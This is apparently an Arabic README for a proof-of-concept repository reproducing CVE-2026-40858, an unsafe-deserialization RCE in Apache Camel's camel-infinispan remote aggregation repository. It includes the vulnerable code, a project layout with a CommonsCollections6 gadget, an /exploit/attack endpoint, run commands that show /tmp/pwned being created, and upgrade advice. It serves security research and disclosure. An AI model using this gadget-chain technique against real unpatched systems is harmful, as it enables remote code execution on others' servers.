
أداة استنساخ لـ CVE-2026-40858 — إلغاء تسلسل غير آمن في مستودع التجميع البعيد لـ Apache Camel camel-infinispan (RCE)
يعرض هذا المشروع ثغرة إلغاء تسلسل Java (Java deserialization) في مكوّن camel-infinispan الخاص بـ Apache Camel، المتتبَّعة باسم CVE-2026-40858. يقوم مستودع التجميع عن بُعد القائم على ProtoStream بتسلسل كل Exchange مُجمَّع إلى مخبأ Infinispan عن بُعد، وعند إعادة قراءة أي إدخال (عبر get() أو recover())، يقوم بإلغاء تسلسله باستخدام java.io.ObjectInputStream بدون ObjectInputFilter. يمكن لأي مهاجم لديه صلاحية الكتابة إلى المخبأ الأساسي أن يزرع كائنًا مُسلسلًا مُصمَّمًا خصيصًا ويحصل على تنفيذ تعليمات برمجية عن بُعد (RCE) في المرة التالية التي يقرأ فيها المستودع ذلك المفتاح.
النشرة الأمنية: https://camel.apache.org/security/CVE-2026-40858.html
| الخاصية | القيمة |
|---|---|
| المكوّن | camel-infinispan (مستودع تجميع عن بُعد / HotRod) |
| الفئة المتأثرة | org.apache.camel.component.infinispan.remote.DefaultExchangeHolderProtoAdapter → DefaultExchangeHolderUtils.deserialize(byte[]) |
| CWE | CWE-502: إلغاء تسلسل بيانات غير موثوقة |
| الأثر | تنفيذ تعليمات برمجية عن بُعد (RCE) |
| الإصدارات المتأثرة | من 4.0.0 قبل 4.14.7، ومن 4.15.0 قبل 4.18.2، ومن 4.19.0 قبل 4.20.0 |
| الإصدارات المُصحَّحة | 4.14.7 و4.18.2 و4.20.0 |
| JIRA | CAMEL-23322 |
| المبلِّغ | Feng Ning (Innora Pte. Ltd.) |
يخزّن InfinispanRemoteAggregationRepository كل Exchange ككائن DefaultExchangeHolder. مع مُسلسِل ProtoStream، يُكيَّف هذا الحامل بواسطة DefaultExchangeHolderProtoAdapter، الذي يكون حقل ProtoStream رقم 1 فيه هو الحامل مُسلسَلًا عبر ObjectOutputStream عادي. وفي طريق العودة، يعيد المُكيّف بناء الحامل بتمرير تلك البايتات إلى DefaultExchangeHolderUtils.deserialize:
// DefaultExchangeHolderUtils.deserialize(byte[]) - affected version
static DefaultExchangeHolder deserialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ClassLoadingAwareObjectInputStream ois = new ClassLoadingAwareObjectInputStream(bais);
return (DefaultExchangeHolder) ois.readObject(); // NO ObjectInputFilter
}
يعمل ClassLoadingAwareObjectInputStream على توسيع مجموعة الفئات القابلة للحل بدلًا من تقييدها، لذا فإن readObject() سينشئ أي سلسلة أدوات (gadget chain) موجودة على مسار الفئات (classpath). وبما أن البايتات تأتي مباشرةً من المخبأ البعيد، فأي شخص يمكنه الكتابة إلى مفتاح هذا المخبأ يتحكم في دفق إلغاء التسلسل — وتنطلق الأداة أثناء readObject()، قبل تحويل القيمة إلى DefaultExchangeHolder إطلاقًا.
يستخدم مسار (Route) — أو كما هو الحال هنا، كود تطبيق — مستودع التجميع عن بُعد المدعوم بخادم Infinispan:
InfinispanRemoteConfiguration conf = new InfinispanRemoteConfiguration();
conf.setCacheContainerConfiguration(hotRodClientConfig); // points at the Infinispan server
InfinispanRemoteAggregationRepository repo =
new InfinispanRemoteAggregationRepository("camel-aggregation");
repo.setConfiguration(conf);
repo.setCamelContext(camelContext);
repo.start();
// ... during aggregation Camel calls repo.add(...) / repo.get(...) / repo.recover(...)
يؤدي أي استدعاء get() أو recover() لمفتاح تم العبث بقيمته المخزنة إلى تفعيل نقطة الحساسية (sink).
يعمل كود Camel الثغري داخل التطبيق (على المضيف)؛ بينما يعمل خادم Infinispan داخل Docker بصفته مخزن الدعم الذي يتواصل معه المستودع. وهذا يعكس طريقة نشر المستودع عمليًا: البيانات غير الموثوقة تعيش في المخبأ المشترك.
CVE-2026-40858/
├── pom.xml # camel-infinispan 4.18.1 + commons-collections 3.2.1 (gadget)
├── docker-compose.yml # quay.io/infinispan/server:16.1 (the remote cache)
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── InfinispanRepoService.java # builds + starts InfinispanRemoteAggregationRepository
│ ├── Gadget.java # CommonsCollections6 gadget, fired during readObject()
│ └── ExploitController.java # /exploit/attack: plants a gadget-bodied holder, then reads it
└── resources/
└── application.properties
ملاحظة حول اختصار إثبات المفهوم (PoC). يكتب المهاجم الحقيقي البايتات الخبيثة مباشرةً داخل مخبأ Infinispan المشترك. ولإبقاء أداة إعادة الإنتاج مكتفية بذاتها، يزرع
/exploit/attackالقيمة عبر المستودع نفسه (repo.add(...)مع أداة gadget كجسم لـ Exchange)، ثم يستدعيrepo.get(...)لتفعيل القراءة. نقطة الحساسية التي تنفّذ الأداة هيreadObject()الخاص بـ Camel نفسه، تمامًا كما ستنطلق عند أي إدخال مخبأ عبث به مهاجم.
docker compose up -d
# wait until ready:
curl -s -o /dev/null -w "%{http_code}\n" --retry-connrefused --retry 60 --retry-delay 1 \
http://localhost:11222/rest/v2/cache-managers/default/health/status # -> 200
يتم تجميع أداة CommonsCollections6 مباشرةً عبر الانعكاس (reflection) داخل java.util، لذا يجب تشغيل JVM مع الخيار --add-opens java.base/java.util=ALL-UNNAMED:
mvn clean package -DskipTests
java --add-opens java.base/java.util=ALL-UNNAMED \
-jar target/cve-2026-40858-infinispan-0.0.1-SNAPSHOT.jar
curl -s http://localhost:8080/exploit/attack
# -> repo.get() returned: Exchange[...]
#
# >>> RCE proof — /tmp/pwned exists: true
يتم إنشاء الملف /tmp/pwned بواسطة الأداة (touch /tmp/pwned) أثناء قيام المستودع بإلغاء تسلسل القيمة المزروعة في المخبأ.
docker compose down
rm -f /tmp/pwned
أي نشر يستخدم InfinispanRemoteAggregationRepository (مع ترميز ProtoStream) تجاه مخبأ يمكن للمهاجم الكتابة إليه. قد يأتي حق الوصول للكتابة في المخبأ من عنقود Infinispan مشترك/متعدد المستأجرين، أو نقطة نهاية HotRod قابلة للوصول عبر الشبكة، أو أي منتِج آخر يُدخل البيانات إلى المخبأ نفسه.
commons-collections:3.2.1).قم بالترقية إلى 4.14.7 أو 4.18.2 أو 4.20.0. يطبّق الإصلاح ObjectInputFilter / قائمة سماح للفئات على عملية إلغاء تسلسل الحامل، بما يطابق التحصين المطبَّق على مستودعات تجميع Camel الأخرى (camel-leveldb وcamel-cassandraql وcamel-jms) وعلى camel-mina / camel-netty.
حتى تتم الترقية:
أداة إعادة الإنتاج هذه مُقدَّمة لأغراض البحث الأمني والاختبار المصرَّح به فقط، من أجل ثغرة مُعلنة علنًا ومُصحَّحة. لا تستخدمها ضد أي أنظمة دون إذن صريح.